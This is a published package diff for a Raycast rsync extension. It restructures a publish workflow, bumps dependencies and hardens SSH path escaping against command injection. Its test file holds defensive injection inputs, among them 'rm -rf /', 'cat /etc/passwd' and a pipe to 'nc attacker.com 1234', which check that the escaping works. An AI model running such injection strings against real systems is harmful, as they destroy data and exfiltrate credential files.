raycast-rsync-extension 1.0.6 → 1.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.github/workflows/publish.yml +61 -46
- package/metadata/01.png +0 -0
- package/metadata/02.png +0 -0
- package/metadata/03.png +0 -0
- package/metadata/04.png +0 -0
- package/metadata/05.png +0 -0
- package/metadata/06.png +0 -0
- package/package.json +8 -7
- package/src/utils/ssh.test.ts +20 -37
- package/src/utils/ssh.ts +6 -23
- package/src/utils/validation.test.ts +5 -0
- package/src/utils/validation.ts +2 -6
- package/metadata/1.png +0 -0
- package/metadata/2.png +0 -0
- package/metadata/3.png +0 -0
- package/metadata/4.png +0 -0
- package/metadata/5.png +0 -0
|
@@ -21,17 +21,18 @@ on:
|
|
|
21
21
|
- major
|
|
22
22
|
|
|
23
23
|
jobs:
|
|
24
|
-
|
|
24
|
+
check-version:
|
|
25
25
|
runs-on: ubuntu-latest
|
|
26
26
|
permissions:
|
|
27
|
-
contents:
|
|
28
|
-
packages:
|
|
29
|
-
|
|
27
|
+
contents: read
|
|
28
|
+
packages: read
|
|
29
|
+
outputs:
|
|
30
|
+
exists: ${{ steps.check-version.outputs.exists }}
|
|
31
|
+
version: ${{ steps.package-info.outputs.version }}
|
|
32
|
+
name: ${{ steps.package-info.outputs.name }}
|
|
30
33
|
steps:
|
|
31
34
|
- name: Checkout code
|
|
32
35
|
uses: actions/checkout@v6
|
|
33
|
-
with:
|
|
34
|
-
fetch-depth: 0
|
|
35
36
|
|
|
36
37
|
- name: Setup Node.js
|
|
37
38
|
uses: actions/setup-node@v6
|
|
@@ -39,18 +40,6 @@ jobs:
|
|
|
39
40
|
node-version: "20"
|
|
40
41
|
cache: "npm"
|
|
41
42
|
|
|
42
|
-
- name: Install dependencies
|
|
43
|
-
run: npm ci
|
|
44
|
-
|
|
45
|
-
- name: Install jq
|
|
46
|
-
run: sudo apt-get update && sudo apt-get install -y jq
|
|
47
|
-
|
|
48
|
-
- name: Run tests
|
|
49
|
-
run: npm test
|
|
50
|
-
|
|
51
|
-
- name: Build extension
|
|
52
|
-
run: npm run build
|
|
53
|
-
|
|
54
43
|
- name: Get package info
|
|
55
44
|
id: package-info
|
|
56
45
|
run: |
|
|
@@ -81,13 +70,50 @@ jobs:
|
|
|
81
70
|
echo "exists=false" >> $GITHUB_OUTPUT
|
|
82
71
|
echo "Version ${VERSION} is new for ${SCOPED_NAME}, will publish"
|
|
83
72
|
fi
|
|
84
|
-
|
|
73
|
+
|
|
74
|
+
- name: Skip summary
|
|
75
|
+
if: steps.check-version.outputs.exists == 'true'
|
|
76
|
+
run: |
|
|
77
|
+
echo "## 📦 Publish Summary"
|
|
78
|
+
echo "Package: ${{ steps.package-info.outputs.name }}@${{ steps.package-info.outputs.version }}"
|
|
79
|
+
echo "✅ Version already exists - skipped publishing (no tests/build run)"
|
|
80
|
+
|
|
81
|
+
publish:
|
|
82
|
+
needs: check-version
|
|
83
|
+
if: needs.check-version.outputs.exists == 'false'
|
|
84
|
+
runs-on: ubuntu-latest
|
|
85
|
+
permissions:
|
|
86
|
+
contents: write
|
|
87
|
+
packages: write
|
|
88
|
+
id-token: write
|
|
89
|
+
steps:
|
|
90
|
+
- name: Checkout code
|
|
91
|
+
uses: actions/checkout@v6
|
|
92
|
+
with:
|
|
93
|
+
fetch-depth: 0
|
|
94
|
+
|
|
95
|
+
- name: Setup Node.js
|
|
96
|
+
uses: actions/setup-node@v6
|
|
97
|
+
with:
|
|
98
|
+
node-version: "20"
|
|
99
|
+
cache: "npm"
|
|
100
|
+
|
|
101
|
+
- name: Install dependencies
|
|
102
|
+
run: npm ci
|
|
103
|
+
|
|
104
|
+
- name: Install jq
|
|
105
|
+
run: sudo apt-get update && sudo apt-get install -y jq
|
|
106
|
+
|
|
107
|
+
- name: Run tests
|
|
108
|
+
run: npm test
|
|
109
|
+
|
|
110
|
+
- name: Build extension
|
|
111
|
+
run: npm run build
|
|
85
112
|
|
|
86
113
|
- name: Publish to GitHub Packages
|
|
87
|
-
if: steps.check-version.outputs.exists == 'false'
|
|
88
114
|
run: |
|
|
89
|
-
PACKAGE_NAME="${{
|
|
90
|
-
VERSION=${{
|
|
115
|
+
PACKAGE_NAME="${{ needs.check-version.outputs.name }}"
|
|
116
|
+
VERSION=${{ needs.check-version.outputs.version }}
|
|
91
117
|
OWNER="${{ github.repository_owner }}"
|
|
92
118
|
|
|
93
119
|
echo "Publishing $PACKAGE_NAME@$VERSION to GitHub Packages..."
|
|
@@ -114,10 +140,9 @@ jobs:
|
|
|
114
140
|
NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
|
115
141
|
|
|
116
142
|
- name: Create Git tag
|
|
117
|
-
if: steps.check-version.outputs.exists == 'false'
|
|
118
143
|
run: |
|
|
119
|
-
VERSION=${{
|
|
120
|
-
PACKAGE_NAME="${{
|
|
144
|
+
VERSION=${{ needs.check-version.outputs.version }}
|
|
145
|
+
PACKAGE_NAME="${{ needs.check-version.outputs.name }}"
|
|
121
146
|
|
|
122
147
|
TAG_NAME="v$VERSION"
|
|
123
148
|
|
|
@@ -134,20 +159,19 @@ jobs:
|
|
|
134
159
|
fi
|
|
135
160
|
|
|
136
161
|
- name: Create GitHub Release
|
|
137
|
-
if: steps.check-version.outputs.exists == 'false'
|
|
138
162
|
uses: softprops/action-gh-release@v2
|
|
139
163
|
with:
|
|
140
|
-
tag_name: v${{
|
|
141
|
-
name: v${{
|
|
164
|
+
tag_name: v${{ needs.check-version.outputs.version }}
|
|
165
|
+
name: v${{ needs.check-version.outputs.version }}
|
|
142
166
|
body: |
|
|
143
|
-
## ${{
|
|
167
|
+
## ${{ needs.check-version.outputs.name }}@v${{ needs.check-version.outputs.version }}
|
|
144
168
|
|
|
145
169
|
**Published to GitHub Packages**
|
|
146
170
|
|
|
147
171
|
### Installation
|
|
148
172
|
|
|
149
173
|
```bash
|
|
150
|
-
npm install @${{ github.repository_owner }}/${{
|
|
174
|
+
npm install @${{ github.repository_owner }}/${{ needs.check-version.outputs.name }} --registry=https://npm.pkg.github.com
|
|
151
175
|
```
|
|
152
176
|
|
|
153
177
|
Or add to your `.npmrc`:
|
|
@@ -160,7 +184,7 @@ jobs:
|
|
|
160
184
|
Then install:
|
|
161
185
|
|
|
162
186
|
```bash
|
|
163
|
-
npm install @${{ github.repository_owner }}/${{
|
|
187
|
+
npm install @${{ github.repository_owner }}/${{ needs.check-version.outputs.name }}
|
|
164
188
|
```
|
|
165
189
|
|
|
166
190
|
### What's New
|
|
@@ -175,23 +199,14 @@ jobs:
|
|
|
175
199
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
|
176
200
|
|
|
177
201
|
- name: Publish Summary
|
|
178
|
-
if: always()
|
|
179
202
|
run: |
|
|
180
203
|
echo "## 📦 Publish Summary"
|
|
181
|
-
echo "Package: ${{
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
elif [ "${{ steps.check-version.outputs.exists }}" == "false" ]; then
|
|
186
|
-
echo "✅ Successfully published to GitHub Packages"
|
|
187
|
-
echo "🏷️ Created tag: v${{ steps.package-info.outputs.version }}"
|
|
188
|
-
echo "📝 Created release: v${{ steps.package-info.outputs.version }}"
|
|
189
|
-
else
|
|
190
|
-
echo "❌ Publish status unknown"
|
|
191
|
-
fi
|
|
192
|
-
|
|
204
|
+
echo "Package: ${{ needs.check-version.outputs.name }}@${{ needs.check-version.outputs.version }}"
|
|
205
|
+
echo "✅ Successfully published to GitHub Packages"
|
|
206
|
+
echo "🏷️ Created tag: v${{ needs.check-version.outputs.version }}"
|
|
207
|
+
echo "📝 Created release: v${{ needs.check-version.outputs.version }}"
|
|
193
208
|
echo ""
|
|
194
209
|
echo "### 🔗 Links"
|
|
195
210
|
echo "- **GitHub Packages**: https://github.com/${{ github.repository }}/packages"
|
|
196
|
-
echo "- **Install Command**: npm install @${{ github.repository_owner }}/${{
|
|
197
|
-
echo "- **Release**: https://github.com/${{ github.repository }}/releases/tag/v${{
|
|
211
|
+
echo "- **Install Command**: npm install @${{ github.repository_owner }}/${{ needs.check-version.outputs.name }} --registry=https://npm.pkg.github.com"
|
|
212
|
+
echo "- **Release**: https://github.com/${{ github.repository }}/releases/tag/v${{ needs.check-version.outputs.version }}"
|
package/metadata/01.png
ADDED
|
Binary file
|
package/metadata/02.png
ADDED
|
Binary file
|
package/metadata/03.png
ADDED
|
Binary file
|
package/metadata/04.png
ADDED
|
Binary file
|
package/metadata/05.png
ADDED
|
Binary file
|
package/metadata/06.png
ADDED
|
Binary file
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"$schema": "https://www.raycast.com/schemas/extension.json",
|
|
3
3
|
"name": "raycast-rsync-extension",
|
|
4
|
-
"version": "1.0.
|
|
4
|
+
"version": "1.0.8",
|
|
5
5
|
"title": "Rsync File Transfer",
|
|
6
6
|
"description": "Transfer files between local and remote servers using rsync with SSH config integration",
|
|
7
7
|
"icon": "icon.png",
|
|
@@ -62,23 +62,24 @@
|
|
|
62
62
|
],
|
|
63
63
|
"dependencies": {
|
|
64
64
|
"@raycast/api": "^1.65.0",
|
|
65
|
-
"@raycast/utils": "^
|
|
65
|
+
"@raycast/utils": "^1.19.1"
|
|
66
66
|
},
|
|
67
67
|
"devDependencies": {
|
|
68
68
|
"@raycast/eslint-config": "^2.1.1",
|
|
69
|
-
"@typescript-eslint/eslint-plugin": "^8.55.0",
|
|
70
|
-
"@typescript-eslint/parser": "^8.55.0",
|
|
71
69
|
"@types/node": "^25.0.10",
|
|
72
70
|
"@types/react": "19.0.10",
|
|
71
|
+
"@typescript-eslint/eslint-plugin": "^8.56.0",
|
|
72
|
+
"@typescript-eslint/parser": "^8.56.0",
|
|
73
73
|
"@vitest/ui": "^4.0.17",
|
|
74
|
-
"eslint": "^
|
|
74
|
+
"eslint": "^10.0.0",
|
|
75
75
|
"prettier": "^3.8.0",
|
|
76
76
|
"react": "^19.0.0",
|
|
77
77
|
"typescript": "^5.2.2",
|
|
78
78
|
"vitest": "^4.0.17"
|
|
79
79
|
},
|
|
80
80
|
"overrides": {
|
|
81
|
-
"@types/react": "19.0.10"
|
|
81
|
+
"@types/react": "19.0.10",
|
|
82
|
+
"minimatch": "^10.2.1"
|
|
82
83
|
},
|
|
83
84
|
"scripts": {
|
|
84
85
|
"build": "npx ray build -e dist",
|
|
@@ -91,4 +92,4 @@
|
|
|
91
92
|
"format:check": "prettier --check \"**/*.{js,jsx,ts,tsx,json,css,md}\"",
|
|
92
93
|
"publish:npmjs": "npm publish --access public"
|
|
93
94
|
}
|
|
94
|
-
}
|
|
95
|
+
}
|
package/src/utils/ssh.test.ts
CHANGED
|
@@ -40,12 +40,11 @@ describe("SSH Remote Listing", () => {
|
|
|
40
40
|
|
|
41
41
|
await executeRemoteLs(mockHostConfig, maliciousPath);
|
|
42
42
|
|
|
43
|
-
// The malicious
|
|
44
|
-
// The path is escaped and then the entire remote command is escaped
|
|
45
|
-
// So we check that the path appears within the escaped remote command
|
|
43
|
+
// The malicious path should be escaped and passed as $1 to the wrapper (no execution)
|
|
46
44
|
expect(capturedCommand).toMatch(/\/tmp\/test; rm -rf \//);
|
|
47
|
-
//
|
|
48
|
-
expect(capturedCommand).toMatch(/
|
|
45
|
+
// Wrapper script receives path as single argument; path must be in quotes
|
|
46
|
+
expect(capturedCommand).toMatch(/sh -c .* _ /);
|
|
47
|
+
expect(capturedCommand).toMatch(/'\/tmp\/test; rm -rf \/'/);
|
|
49
48
|
});
|
|
50
49
|
|
|
51
50
|
it("should escape remotePath with pipe to prevent injection", async () => {
|
|
@@ -61,12 +60,10 @@ describe("SSH Remote Listing", () => {
|
|
|
61
60
|
|
|
62
61
|
await executeRemoteLs(mockHostConfig, maliciousPath);
|
|
63
62
|
|
|
64
|
-
// The
|
|
65
|
-
// The path is escaped and then the entire remote command is escaped
|
|
63
|
+
// The path should be escaped and passed as $1 to the wrapper
|
|
66
64
|
expect(capturedCommand).toMatch(/\/tmp\/test \| cat \/etc\/passwd/);
|
|
67
|
-
expect(capturedCommand).toMatch(
|
|
68
|
-
|
|
69
|
-
);
|
|
65
|
+
expect(capturedCommand).toMatch(/sh -c .* _ /);
|
|
66
|
+
expect(capturedCommand).toMatch(/'\/tmp\/test \| cat \/etc\/passwd'/);
|
|
70
67
|
});
|
|
71
68
|
|
|
72
69
|
it("should escape hostAlias to prevent command injection", async () => {
|
|
@@ -102,12 +99,10 @@ describe("SSH Remote Listing", () => {
|
|
|
102
99
|
|
|
103
100
|
await executeRemoteLs(mockHostConfig, pathWithSpaces);
|
|
104
101
|
|
|
105
|
-
// Paths with spaces should be
|
|
106
|
-
// The path is escaped and then the entire remote command is escaped
|
|
102
|
+
// Paths with spaces should be passed as single argument to wrapper
|
|
107
103
|
expect(capturedCommand).toMatch(/\/remote\/path with spaces/);
|
|
108
|
-
expect(capturedCommand).toMatch(
|
|
109
|
-
|
|
110
|
-
);
|
|
104
|
+
expect(capturedCommand).toMatch(/sh -c .* _ /);
|
|
105
|
+
expect(capturedCommand).toMatch(/'\/remote\/path with spaces'/);
|
|
111
106
|
});
|
|
112
107
|
|
|
113
108
|
it("should handle paths with single quotes", async () => {
|
|
@@ -145,13 +140,13 @@ describe("SSH Remote Listing", () => {
|
|
|
145
140
|
|
|
146
141
|
await executeRemoteLs(mockHostConfig, complexInjection);
|
|
147
142
|
|
|
148
|
-
// The entire malicious string should be escaped as
|
|
149
|
-
// The path is escaped and then the entire remote command is escaped
|
|
143
|
+
// The entire malicious string should be escaped as single argument to wrapper
|
|
150
144
|
expect(capturedCommand).toMatch(
|
|
151
145
|
/\/tmp\/test; cat \/etc\/passwd \| nc attacker\.com 1234/,
|
|
152
146
|
);
|
|
147
|
+
expect(capturedCommand).toMatch(/sh -c .* _ /);
|
|
153
148
|
expect(capturedCommand).toMatch(
|
|
154
|
-
/'
|
|
149
|
+
/'\/tmp\/test; cat \/etc\/passwd \| nc attacker\.com 1234'/,
|
|
155
150
|
);
|
|
156
151
|
});
|
|
157
152
|
|
|
@@ -168,23 +163,11 @@ describe("SSH Remote Listing", () => {
|
|
|
168
163
|
|
|
169
164
|
await executeRemoteLs(mockHostConfig, tildePath);
|
|
170
165
|
|
|
171
|
-
//
|
|
172
|
-
// The path after ~/ should be escaped for safety
|
|
173
|
-
// The command should contain ~/ followed by the escaped path part
|
|
166
|
+
// Path is fully escaped and passed as $1; wrapper expands ~ on the remote
|
|
174
167
|
expect(capturedCommand).toMatch(/~/);
|
|
175
168
|
expect(capturedCommand).toMatch(/Desktop\/subdir/);
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
// which appears as ~/'\\''Desktop/subdir'\\''' in the escaped command
|
|
179
|
-
expect(capturedCommand).toMatch(/ls -lAh ~\/.*Desktop\/subdir/);
|
|
180
|
-
// Verify ~ is not inside quotes (it should appear before the escaped path)
|
|
181
|
-
const match = capturedCommand.match(/ls -lAh (.*)/);
|
|
182
|
-
expect(match).not.toBeNull();
|
|
183
|
-
if (match) {
|
|
184
|
-
const pathPart = match[1];
|
|
185
|
-
// The ~ should appear before any quotes
|
|
186
|
-
expect(pathPart).toMatch(/^~/);
|
|
187
|
-
}
|
|
169
|
+
expect(capturedCommand).toMatch(/sh -c .* _ /);
|
|
170
|
+
expect(capturedCommand).toMatch(/Desktop\/subdir/);
|
|
188
171
|
});
|
|
189
172
|
|
|
190
173
|
it("should handle standalone tilde", async () => {
|
|
@@ -200,10 +183,10 @@ describe("SSH Remote Listing", () => {
|
|
|
200
183
|
|
|
201
184
|
await executeRemoteLs(mockHostConfig, tildePath);
|
|
202
185
|
|
|
203
|
-
//
|
|
204
|
-
expect(capturedCommand).toMatch(/
|
|
205
|
-
//
|
|
206
|
-
expect(capturedCommand).
|
|
186
|
+
// Path ~ is escaped and passed as $1; wrapper expands it to $HOME on remote
|
|
187
|
+
expect(capturedCommand).toMatch(/sh -c .* _ /);
|
|
188
|
+
// ~ is passed as the path argument (escaped)
|
|
189
|
+
expect(capturedCommand).toMatch(/~/);
|
|
207
190
|
});
|
|
208
191
|
});
|
|
209
192
|
});
|
package/src/utils/ssh.ts
CHANGED
|
@@ -14,26 +14,11 @@ const execAsync = promisify(exec);
|
|
|
14
14
|
* @returns Promise resolving to array of RemoteFile objects
|
|
15
15
|
*/
|
|
16
16
|
/**
|
|
17
|
-
* Escapes a remote path for use in SSH commands
|
|
18
|
-
*
|
|
19
|
-
*
|
|
20
|
-
* @returns Escaped path that allows ~ expansion on remote shell
|
|
17
|
+
* Escapes a remote path for use in SSH commands.
|
|
18
|
+
* The entire path is escaped to prevent shell command injection (e.g. ~/'; malicious; echo ').
|
|
19
|
+
* Tilde expansion is performed safely on the remote side inside a wrapper script.
|
|
21
20
|
*/
|
|
22
21
|
function escapeRemotePath(remotePath: string): string {
|
|
23
|
-
// If path starts with ~/, allow remote shell to expand ~
|
|
24
|
-
// We escape only the part after ~/ to prevent injection while allowing ~ expansion
|
|
25
|
-
if (remotePath.startsWith("~/")) {
|
|
26
|
-
const pathAfterTilde = remotePath.slice(2); // Everything after "~/"
|
|
27
|
-
// Escape the path part to prevent injection, but keep ~/ unescaped
|
|
28
|
-
// This will result in ~/'escaped-path' which allows ~ expansion
|
|
29
|
-
const escapedPath = shellEscape(pathAfterTilde);
|
|
30
|
-
return `~/${escapedPath}`;
|
|
31
|
-
}
|
|
32
|
-
if (remotePath === "~") {
|
|
33
|
-
// Standalone ~ doesn't need escaping
|
|
34
|
-
return "~";
|
|
35
|
-
}
|
|
36
|
-
// For all other paths, escape normally
|
|
37
22
|
return shellEscape(remotePath);
|
|
38
23
|
}
|
|
39
24
|
|
|
@@ -47,15 +32,13 @@ export async function executeRemoteLs(
|
|
|
47
32
|
// Escape all user-provided inputs to prevent command injection
|
|
48
33
|
const escapedConfigPath = shellEscape(configPath);
|
|
49
34
|
const escapedHostAlias = shellEscape(hostAlias);
|
|
50
|
-
//
|
|
35
|
+
// Escape entire path to prevent injection; tilde expansion is done on remote in the wrapper
|
|
51
36
|
const escapedRemotePath = escapeRemotePath(remotePath);
|
|
52
37
|
|
|
53
38
|
// Use ls -lAh for detailed listing with human-readable sizes
|
|
54
39
|
// -l: long format, -A: all files except . and .., -h: human-readable sizes
|
|
55
|
-
//
|
|
56
|
-
|
|
57
|
-
// We escape the entire remote command for the local shell
|
|
58
|
-
const remoteCommand = `ls -lAh ${escapedRemotePath}`;
|
|
40
|
+
// Remote wrapper: receive path as $1, expand ~ to $HOME safely, then run ls -lAh
|
|
41
|
+
const remoteCommand = `sh -c 'p="$1"; case "$p" in ~/*) p="$HOME\${p#~/}";; ~) p="$HOME";; esac; ls -lAh "$p"' _ ${escapedRemotePath}`;
|
|
59
42
|
const escapedRemoteCommand = shellEscape(remoteCommand);
|
|
60
43
|
|
|
61
44
|
const command = `ssh -F ${escapedConfigPath} ${escapedHostAlias} ${escapedRemoteCommand}`;
|
|
@@ -122,6 +122,11 @@ describe("Validation Utilities", () => {
|
|
|
122
122
|
// and are safely handled by our escaping
|
|
123
123
|
expect(result.valid).toBe(true);
|
|
124
124
|
});
|
|
125
|
+
|
|
126
|
+
it("should allow backslash in paths (valid in Unix filenames)", () => {
|
|
127
|
+
const result = validateRemotePath("/tmp/path\\with\\backslashes");
|
|
128
|
+
expect(result.valid).toBe(true);
|
|
129
|
+
});
|
|
125
130
|
});
|
|
126
131
|
|
|
127
132
|
describe("validatePort", () => {
|
package/src/utils/validation.ts
CHANGED
|
@@ -54,15 +54,11 @@ export function validateRemotePath(path: string): ValidationResult {
|
|
|
54
54
|
// - & (background execution)
|
|
55
55
|
// - ` (command substitution)
|
|
56
56
|
// - $ (variable expansion)
|
|
57
|
-
|
|
58
|
-
// We allow parentheses, brackets, and braces as they can legitimately appear in filenames
|
|
59
|
-
// and are safely handled by our escaping.
|
|
60
|
-
const dangerousMetacharacters = /[;&|`$\\]/;
|
|
57
|
+
const dangerousMetacharacters = /[;&|`$]/;
|
|
61
58
|
if (dangerousMetacharacters.test(path)) {
|
|
62
59
|
return {
|
|
63
60
|
valid: false,
|
|
64
|
-
error:
|
|
65
|
-
"Invalid path format: contains dangerous shell metacharacters. Paths are now properly escaped, but this input may be unsafe.",
|
|
61
|
+
error: "Invalid path format: contains dangerous shell metacharacters.",
|
|
66
62
|
};
|
|
67
63
|
}
|
|
68
64
|
|
package/metadata/1.png
DELETED
|
Binary file
|
package/metadata/2.png
DELETED
|
Binary file
|
package/metadata/3.png
DELETED
|
Binary file
|
package/metadata/4.png
DELETED
|
Binary file
|
package/metadata/5.png
DELETED
|
Binary file
|